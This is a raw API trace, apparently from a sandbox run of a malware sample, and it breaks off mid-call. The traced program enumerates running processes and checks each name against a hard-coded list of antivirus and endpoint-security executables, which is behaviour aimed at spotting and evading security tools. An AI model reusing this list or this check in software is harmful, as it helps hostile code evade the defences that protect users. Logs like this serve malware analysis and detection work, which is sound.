lstrcmpiA (lpString1="smss.exe", lpString2="isesrv.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="cmdagent.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="ByteFence.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="MBAMService.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="mbamgui.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="fmon.exe") returned 1 [0236.525] Sleep (dwMilliseconds=0xa) [0236.539] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0236.539] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0236.540] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0236.540] Sleep (dwMilliseconds=0xa) [0236.554] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="ccSvcHst.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrvx.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="avgsvcx.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrva.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="MsMpEng.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="mcshield.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="avp.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="kavtray.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="egui.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="ekrn.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="bdagent.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="vsserv.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="vsservppl.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="AvastSvc.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="coreServiceShell.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="PccNTMon.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="NTRTScan.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="SAVAdminService.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="SavService.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="fshoster32.exe") returned 1 [0236.555] lstrcmpiA (lpString1="wininit.exe", lpString2="WRSA.exe") returned -1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="vkise.exe") returned 1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="isesrv.exe") returned 1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="cmdagent.exe") returned 1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="ByteFence.exe") returned 1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="MBAMService.exe") returned 1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="mbamgui.exe") returned 1 [0236.556] lstrcmpiA (lpString1="wininit.exe", lpString2="fmon.exe") returned 1 [0236.556] Sleep (dwMilliseconds=0xa) [0236.571] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0236.572] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0236.572] Sleep (dwMilliseconds=0xa) [0236.602] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.602] lstrcmpiA (lpString1="winlogon.exe", lpString2="ccSvcHst.exe") returned 1 [0236.602] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrvx.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgsvcx.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrva.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="MsMpEng.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="mcshield.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="avp.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="kavtray.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="egui.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="ekrn.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="bdagent.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsserv.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsservppl.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="AvastSvc.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="coreServiceShell.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="PccNTMon.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="NTRTScan.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="SAVAdminService.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="SavService.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="fshoster32.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="WRSA.exe") returned -1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="vkise.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="isesrv.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="cmdagent.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="ByteFence.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="MBAMService.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="mbamgui.exe") returned 1 [0236.603] lstrcmpiA (lpString1="winlogon.exe", lpString2="fmon.exe") returned 1 [0236.603] Sleep (dwMilliseconds=0xa) [0236.617] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.617] lstrcmpiA (lpString1="services.exe", lpString2="ccSvcHst.exe") returned 1 [0236.617] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrvx.exe") returned 1 [0236.617] lstrcmpiA (lpString1="services.exe", lpString2="avgsvcx.exe") returned 1 [0236.617] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrva.exe") returned 1 [0236.617] lstrcmpiA (lpString1="services.exe", lpString2="MsMpEng.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="mcshield.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="avp.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="kavtray.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="egui.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="ekrn.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="bdagent.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="vsserv.exe") returned -1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="vsservppl.exe") returned -1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="AvastSvc.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="coreServiceShell.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="PccNTMon.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="NTRTScan.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="SAVAdminService.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="SavService.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="fshoster32.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="WRSA.exe") returned -1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="vkise.exe") returned -1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="isesrv.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="cmdagent.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="ByteFence.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="MBAMService.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="mbamgui.exe") returned 1 [0236.618] lstrcmpiA (lpString1="services.exe", lpString2="fmon.exe") returned 1 [0236.618] Sleep (dwMilliseconds=0xa) [0236.632] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="ccSvcHst.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrvx.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="avgsvcx.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrva.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="MsMpEng.exe") returned -1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="mcshield.exe") returned -1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="avp.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="kavtray.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="egui.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="ekrn.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="bdagent.exe") returned 1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="vsserv.exe") returned -1 [0236.633] lstrcmpiA (lpString1="lsass.exe", lpString2="vsservppl.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="AvastSvc.exe") returned 1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="coreServiceShell.exe") returned 1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="PccNTMon.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="NTRTScan.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="SAVAdminService.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="SavService.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="fshoster32.exe") returned 1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="WRSA.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="vkise.exe") returned -1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="isesrv.exe") returned 1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="cmdagent.exe") returned 1 [0236.634] lstrcmpiA (lpString1="lsass.exe", lpString2="ByteFence.exe") returned 1 [0236.648] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.664] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0236.679] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0236.695] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.711] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.726] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.742] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.757] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.773] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.792] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.804] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.820] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.836] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.852] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.867] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.883] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.898] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.914] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.929] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.945] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.960] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.976] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0236.992] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0237.008] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0237.025] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.039] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.054] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0237.070] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0237.101] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0237.148] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0237.208] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0237.258] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0237.304] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0237.351] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: 